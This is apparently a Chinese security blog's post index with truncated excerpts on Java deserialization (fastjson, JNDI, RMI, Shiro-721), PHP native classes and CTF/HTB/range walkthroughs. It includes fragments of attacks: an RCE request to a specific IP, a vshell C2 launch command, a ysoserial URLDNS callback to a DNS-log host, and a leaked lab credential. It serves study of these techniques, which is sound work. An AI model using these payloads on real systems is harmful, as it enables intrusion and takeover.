fastjson1
前言终于开始fastjson的学习了,这两天放松的有点太严重了,哈哈哈。 Fastjson简介fastjson是一个java库,主要作用:可以把java对象转换为json的格式,也可以将json的格式转换为java对象。提供了两个主要的接口来分别实现序列化和反序列化的操作JSON.toJSONString将java对象转化为json对象,序列化的过程。JSON.parseObject/JSON.parse将json对象重新变回java对象;反序列化过程。这里可以将json理解成一个字符串。(这样就和php反序列化类似) 从代码角度分析序列化代码的实现这里我们来写一下简单的代码来了解一下具体的序列化和反序列化的过程。首先引入依赖 12345<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> 这...
JNDI注入
前言开始JNDI的学习,一定要多敲敲代码啊(对自己说)官方文档地址:课程:JNDI(Java™ 命名与目录接口>教程)概述 JNDI概念JNDI是java命名与目录接口,一个名字对应一个java对象,也就是说一个字符串对应一个Java对象.JNDI在jdk里面支持一下服务: LDAP:轻量级目录访问协议 通用对象请求代理架构(CORBA);通用对象服务(COS)名称服务 java远程调用(RMI)注册表 DNS服务 JNDI的利用方式与漏洞JNDI在RMI中的利用RMI服务端的接口类和实现类,和之前一样就可以.重点改变的是使用JDNI的方式去绑定远程对象到注册中心,以及使用JDNI的方式去调用这个远程对象. 服务端123456789101112131415import javax.naming.InitialContext; import javax.naming.NamingException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import ja...
moectf2025_第23关
moectf 2025 第23关常规做法直接给出exp吧,挺有意思的,感觉写的没问题(但是没反弹成功),本地的calc,也正常执行了(虽然反序列化前会执行一次) 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192import com.example.demo.Dog.Dog; import com.example.demo.Dog.DogService; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.Base64; ...
RMI_2
前言前一个专题,我们对RMI的基础和通信原理进行了简单的分析,这一期对攻击方法进行一个总结参考:Java反序列化之RMI专题02-RMI的几种攻击方式 | Drunkbaby’s BlogRMI攻击方式 | CurlySean’s Blog RMI的基本攻击方式 RMI Client 打 RMI Registry RMI Client 打 RMI Server RMI Client 攻击RMI registry只能够通过客户端打registry.根据上篇文章的分析,我们要去找一下反序列的点位在哪里我们在使用一下语句时,会调用了lookup 1IRemoteOBJ remoteOBJ = (IRemoteOBJ) registry.lookup("rmiserver"); 而这个lookup这里对应着注册中心(特殊的服务端的skel),这时就会调用到case2,这都是我们之前分析过的,所以不同的方法对应着不同的case0->bind1->list2->lookup3->rebind4->unbind那么,我们就可以通过这里不同的方...
RMI_1
前言今日开始java中RMI的学习先记录一下RMI的坑点:RMI攻击手法只能在jdk8u121之前可以使用,因为在8u121之后bind rebind unbind这三个方法只能对localhost进行攻击 环境准备 jdk8u65 RMI基础RMI介绍RMI (Remote Method Invocation) 模型是一种分布式对象应用,使用 RMI 技术可以使一个 JVM 中的对象,调用另一个 JVM 中的对象方法并获取调用结果。这里的另一个 JVM 可以在同一台计算机也可以是远程计算机。因此,RMI 意味着需要一个 Server 端和一个 Client 端。 Server 端通常会创建一个对象,并使之可以被远程访问。 这个对象被称为远程对象。Server 端需要注册这个对象可以被 Client 远程访问。 Client 端调用可以被远程访问的对象上的方法,Client 端就可以和 Server 端进行通信并相互传递信息。 说到这里,是不是发现使用 RMI 在构建一个分布式应用时十分方便,它和 RPC 一样可以实现分布式应用之间的互相通信,甚至和现在的微服务思想都十分类似。...
Javacc
前言靶场是从极核开的,https://hackhub.get-shell.com/ 分析一个登录系统,弱密码爆破一下 账号,密码分别是admin,admin123 看Cookie这里明显的反序列化字符串,rO0AB使用工具JavaGadgetGenerator进行cc链的测试设置好响应时间,我们来生成对应的链子,开始测试当我们测试到cc6的时候就有明显的延迟,我们在使用DNS测试一下有响应,这也确认了是cc6,同时也可以出网,那我们使用vshell来getshell启动vshell 1nohup ./v_linux_amd64 > /dev/null 2>&1 & 使用上线命令 上线成功 学了个vshell的使用,不赖
Cap
前言HTB的第一台靶机vpn选新加坡 过程先进行扫描,发现有21,22,80端口在去看一下web站点这边有一个下载按钮,我们尝试下载之后有一个流量包,但是这个流量包中,没啥可利用的信息,这时候,我们注意到url中的1,尝试修改为0,继续下载试试呢。 发现可以利用的信息 这里就能很明了的看到ftp连接账户和密码了,这时我们尝试连接ftpuser:nathanpass: Buck3tH4TF0RM3!可以进行ftp连接,那么也可以试一下ssh喽 拿到第一个flag 接着下一个一般是在root目录里,这里需要提权,我们扫描一下看看,有哪些提权的地方这里传linpeas的时候卡死了,解决办法就是可以尝试挂一个代理,然后在连接vpn,我只能说proxychain4还是太舒服了。 有python3.8,尝试python的一个uid提权,GTFOBins 但是我们这里不能使用sudo,可以把它写到文件中执行,在给可执行权限 然后我们找到flag
海洋cms
flag1 fscan扫描完,找个poc rce 1234567891011121314POST /search.php HTTP/1.1Host: 113.45.161.52:89Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://113.45.161.52:89/index.phpAccept-Encoding: gzip, deflate, ...
php原生类
学习一下php原生类 常用的php原生类 Error Exception SoapClient Directorylterator SimpleXMLElement ZipArchive SplFileObject 一个一个来跟着大佬博客学习 使用Error/Exception内置类进行xss内置类Error 使用于php7 开启报错 Error类是 php 的一个内置类,用于自动自定义一个 Error,在 php7 的环境下可能会造成一个 xss 漏洞,因为它内置有一个 __toString() 的方法,常用于PHP 反序列化中。如果有个 POP 链走到一半就走不通了,不如尝试利用这个来做一个 xss,其实还是有好一些 cms 会选择直接使用 echo 的写法,当 PHP 对象被当作一个字符串输出或使用时候(如echo object的时候)会触发 __toString 方法,这是一种挖洞的新思路。 对内置类Error xss的使用 123456<?php$a = unserialize($_POST['cmd']); //反序列化成对象...
shiro721
前言shiro721是shiro550更新过后的一个版本,不同于shiro550,它使用的是动态密钥对Cookie值rememberMe进行的加密,这样就避免了攻击者的攻击,但是真的能避免吗?既然有这个漏洞,那就说明无法避免,主要还是因为shiro使用了AES-CBC的加密方式,这时我们就可以使用Padding Oracle Attack的方法(不需要密钥也可以伪造密文)进行攻击。 环境准备https://github.com/jas502n/SHIRO-721/blob/master/samples-web-1.4.1.war 下载war包,解压之后打开这个项目将cc换成3.2.1的版本 创建一个新的项目 踩坑点:不要使用jdk版本8u65,版本太低会报错误 将刚刚解压的war包里的内容放入webapp中 依赖的添加,在lib下 添加tomcat启动(记得工件) 最后启动环境,我们可以看到如下界面 漏洞利用使用ysoserial工具生成URLDNS的payload 1java -jar ysoserial.jar URLDNS http://56db4471.log....
